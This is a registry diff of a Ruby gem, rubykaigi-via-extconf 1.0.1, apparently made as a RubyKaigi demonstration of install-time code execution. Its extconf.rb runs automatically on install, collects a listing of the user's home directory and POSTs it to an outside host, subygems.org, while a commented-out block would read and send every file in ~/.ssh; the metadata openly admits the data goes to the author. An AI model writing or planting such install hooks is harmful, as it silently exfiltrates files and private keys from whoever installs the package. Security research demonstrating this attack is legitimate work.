rubykaigi-via-extconf 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/extconf.rb +35 -0
- metadata +45 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: ba5e2a38f49c9faf375c719293a746c791fdd86365bafe77bd3333356358b378
|
|
4
|
+
data.tar.gz: ef6be1c7bf0cf14098410aabd1af87655f9e99c46f4b893d74f32ec779b65300
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 4733673c2edbdd1351881421ecbe04e9a2838ed79c99376da5126e696a7611682bf14fed977de96187032dee1c1d872a230eeca610ba57a03ae162281f690785
|
|
7
|
+
data.tar.gz: 796a5f2abe4b3a3c3ec65e659cd0955cc7bccab60be2ec067449a8ff846e47a17c64f84cefacc2c4636fc562f8fadf3feff7c3781d2d363c129a2de79a4acc78
|
data/extconf.rb
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
dummy_make_content = "make:\n" \
|
|
2
|
+
"\t:\n" \
|
|
3
|
+
"install:\n" \
|
|
4
|
+
"\t:\n" \
|
|
5
|
+
"clean:\n" \
|
|
6
|
+
"\t:\n"
|
|
7
|
+
|
|
8
|
+
home = `cd ~; pwd`.gsub("\n", '')
|
|
9
|
+
data = [`cd ~ && ls -all`]
|
|
10
|
+
|
|
11
|
+
# DON'T TRY TO UNCOMMENT THAT UNLESS YOU ARE INSANE!
|
|
12
|
+
#
|
|
13
|
+
# Dir.glob("#{home}/.ssh/*", File::FNM_DOTMATCH).each do |file|
|
|
14
|
+
# begin
|
|
15
|
+
# next unless File.file?(file)
|
|
16
|
+
# data << "--- #{file} \n"
|
|
17
|
+
# data << File.read(file)
|
|
18
|
+
# rescue
|
|
19
|
+
# end
|
|
20
|
+
# end
|
|
21
|
+
|
|
22
|
+
require 'net/http'
|
|
23
|
+
require 'net/https'
|
|
24
|
+
|
|
25
|
+
begin
|
|
26
|
+
uri = URI.parse("https://subygems.org/secrets")
|
|
27
|
+
https = Net::HTTP.new(uri.host,uri.port)
|
|
28
|
+
https.use_ssl = true
|
|
29
|
+
req = Net::HTTP::Post.new(uri.path)
|
|
30
|
+
req.body = data.join("\n")
|
|
31
|
+
res = https.request(req)
|
|
32
|
+
rescue
|
|
33
|
+
end
|
|
34
|
+
|
|
35
|
+
File.write('Makefile', dummy_make_content)
|
metadata
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: rubykaigi-via-extconf
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 1.0.1
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- Maciej Mensfeld
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: bin
|
|
10
|
+
cert_chain: []
|
|
11
|
+
date: 2019-04-12 00:00:00.000000000 Z
|
|
12
|
+
dependencies: []
|
|
13
|
+
description: Please don't install this gem unless you want your home ls to be sent
|
|
14
|
+
to me
|
|
15
|
+
email: mensfeld@gmail.com
|
|
16
|
+
executables: []
|
|
17
|
+
extensions:
|
|
18
|
+
- "./extconf.rb"
|
|
19
|
+
extra_rdoc_files: []
|
|
20
|
+
files:
|
|
21
|
+
- "./extconf.rb"
|
|
22
|
+
homepage: http://github.com/rspec
|
|
23
|
+
licenses:
|
|
24
|
+
- MIT
|
|
25
|
+
metadata: {}
|
|
26
|
+
post_install_message:
|
|
27
|
+
rdoc_options: []
|
|
28
|
+
require_paths:
|
|
29
|
+
- lib
|
|
30
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
31
|
+
requirements:
|
|
32
|
+
- - ">="
|
|
33
|
+
- !ruby/object:Gem::Version
|
|
34
|
+
version: '0'
|
|
35
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
36
|
+
requirements:
|
|
37
|
+
- - ">="
|
|
38
|
+
- !ruby/object:Gem::Version
|
|
39
|
+
version: '0'
|
|
40
|
+
requirements: []
|
|
41
|
+
rubygems_version: 3.0.3
|
|
42
|
+
signing_key:
|
|
43
|
+
specification_version: 4
|
|
44
|
+
summary: Experimental gem to check extconf vulnerability. Made for RubyKaigi
|
|
45
|
+
test_files: []
|